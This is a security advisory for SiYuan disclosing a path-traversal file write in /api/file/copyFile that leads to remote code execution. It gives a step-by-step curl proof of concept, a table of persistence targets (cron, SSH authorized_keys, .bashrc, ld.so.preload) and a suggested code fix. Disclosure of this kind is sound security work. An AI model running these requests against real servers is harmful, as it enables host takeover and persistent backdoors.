GHSA-c4jr-5q7w-f6r9
SiYuan has Arbitrary File Write via /api/file/copyFile leading to RCE
Packages
| Ecosystem | Package | Affected | Fixed in |
|---|---|---|---|
| Go | github.com/siyuan-note/siyuan/kernel | <= 0.0.0-20260126094835-d5d10dd41b0c | no fix listed |
Details
As written in the advisory (Markdown source, shown as plain text).
## Summary
The `/api/file/copyFile` endpoint does not validate the `dest` parameter, allowing authenticated users to write files to arbitrary locations on the filesystem. This can lead to Remote Code Execution (RCE) by writing to sensitive locations such as cron jobs, SSH authorized_keys, or shell configuration files.
- Affected Version: 3.5.3 (and likely all prior versions)
## Details
- Type: Improper Limitation of a Pathname to a Restricted Directory (CWE-22)
- Location: `kernel/api/file.go` - copyFile function
```go
// kernel/api/file.go lines 94-139
func copyFile(c *gin.Context) {
// ...
src := arg["src"].(string)
src, err := model.GetAssetAbsPath(src) // src is validated
// ...
dest := arg["dest"].(string) // dest is NOT validated!
if err = filelock.Copy(src, dest); err != nil {
// ...
}
}
```
The `src` parameter is properly validated via `model.GetAssetAbsPath()`, but the `dest` parameter accepts any absolute path without validation, allowing files to be written outside the workspace directory.
## PoC
### Step 1: Upload malicious content to workspace
```bash
curl -X POST "http://target:6806/api/file/putFile" \
-H "Authorization: Token <API_TOKEN>" \
-F "path=/data/assets/malicious.sh" \
-F "file=@-;filename=malicious.sh" <<< '#!/bin/sh
id > /tmp/pwned.txt
hostname >> /tmp/pwned.txt'
```
### Step 2: Copy to arbitrary location (e.g., /tmp)
```bash
curl -X POST "http://target:6806/api/file/copyFile" \
-H "Authorization: Token <API_TOKEN>" \
-H "Content-Type: application/json" \
-d '{"src": "assets/malicious.sh", "dest": "/tmp/malicious.sh"}'
```
Response: `{"code":0,"msg":"","data":null}`
### Step 3: Verify file was written outside workspace
```bash
cat /tmp/malicious.sh
# Output: #!/bin/sh
# id > /tmp/pwned.txt
# hostname >> /tmp/pwned.txt
```
## Attack Scenarios
| Target Path | Impact |
|-------------|--------|
| `/etc/cron.d/backdoor` | Scheduled command execution (RCE) |
| `~/.ssh/authorized_keys` | Persistent SSH access |
| `~/.bashrc` | Command execution on user login |
| `/etc/ld.so.preload` | Shared library injection |
### RCE Demonstration
RCE was successfully demonstrated by writing a script and executing it:
```bash
# Write script to /tmp
curl -X POST "http://target:6806/api/file/copyFile" \
-H "Authorization: Token <API_TOKEN>" \
-d '{"src": "assets/malicious.sh", "dest": "/tmp/malicious.sh"}'
# Execute (simulating cron or login trigger)
sh /tmp/malicious.sh
# Result
cat /tmp/pwned.txt
# uid=0(root) gid=0(root) groups=0(root)...
```
## Impact
An authenticated attacker (with API Token) can:
1. Achieve Remote Code Execution with the privileges of the SiYuan process
2. Establish persistent backdoor access via SSH keys
3. Compromise the entire host system
4. Access sensitive data on the same network (lateral movement)
## Suggested Fix
Add path validation to ensure `dest` is within the workspace directory:
```go
func copyFile(c *gin.Context) {
// ...
dest := arg["dest"].(string)
// Add validation
if !util.IsSubPath(util.WorkspaceDir, dest) {
ret.Code = -1
ret.Msg = "dest path must be within workspace"
return
}
if err = filelock.Copy(src, dest); err != nil {
// ...
}
}
```
## Solution
d7f790755edf8c78d2b4176171e5a0cdcd720feb
References
External links from the advisory. They lead to third-party sites.